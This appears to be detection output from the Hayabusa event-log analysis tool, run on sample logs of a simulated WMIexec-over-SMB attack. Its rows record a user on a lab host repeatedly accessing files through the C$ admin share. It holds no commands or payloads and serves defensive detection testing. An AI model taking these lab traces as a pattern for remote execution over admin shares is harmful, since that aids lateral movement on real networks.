10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.113 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W6c95e797#\4bdb448dffd981eb795d0efeaf81aee9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.113 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W6dcfceb1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.128 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W6dcfceb1#\bbfc6bc472afc457c523dc2738248629 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.128 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W7b7c0837# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.128 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W7b7c0837#\294124bd4523f5af19788c4942aeba5e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.128 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W9e7db7c5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.128 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W9e7db7c5#\e9ab45e2a1806140421e99300db14933 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W9e8926d3# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W9e8926d3#\278d9be2765837ed33460677146f35e8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W15cd0137# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W15cd0137#\82f3f76602a3738000b03df08a71ffe8 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W37d1a032# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.144 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W37d1a032#\d3293b74965baef61a05323c7ec98d92 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.160 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W39c436dd# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.160 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W39c436dd#\711dbd144f8f71a864ea8493a3877bc5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.160 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W69ef49d2# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.160 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W69ef49d2#\28242ebb69175640e01f44f44845482c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.191 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W71daf281# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W71daf281#\be26a3df8bcf20be912896fba8462d2f : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W81a3882f# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W81a3882f#\84ae811d9df57eca1c9728263a6e6aff : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: USERS : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Default\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.207 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Public\desktop.ini : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W708fc392# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W708fc392#\4f9e41de8acf7fe60bc43242811fbabd : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W5052cbb1# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W5052cbb1#\960951a3fe97e1a2bd2d09ced71ce4f3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W57798b05# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.222 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W57798b05#\2145d62276d37b22799a8deb8d44b210 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W73044bb5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W73044bb5#\fb97af1f4b1eed42372eea20ba746a53 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W193497eb# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W193497eb#\a26561bad24a68eb0217aa9d9fdad386 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W08054466# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.W08054466#\50e266485611719e095733dd021e3a42 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wad38fd8b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.238 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wad38fd8b#\44e2747436ee8621f4daf918b1922498 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wad78daf4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wad78daf4#\748bf388335b4acc7031af4d134ad037 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wb2d030b7# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wb2d030b7#\7dbfc45fb55f5cf738956f4c7b2f8639 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wb9b5bb58# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wb9b5bb58#\789a3b275b1f5369ae5ab066e2461420 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wbc80354b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.253 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wbc80354b#\fac59f632a5e8454549a214641d7bf25 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wc1cc6649# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wc1cc6649#\996a8c9071e330fe0cfac06c4d9f2378 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wca5f1176# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wca5f1176#\f8b6726fa5f43478af33a92559c0cef2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wcffedcb4# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.269 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wcffedcb4#\f6be55d69bb92d49c71a4f9861c21451 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wd75d181a# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wd75d181a#\1a3848fefabdd8a28f5cae97106da369 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.Wd518ee0d# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.285 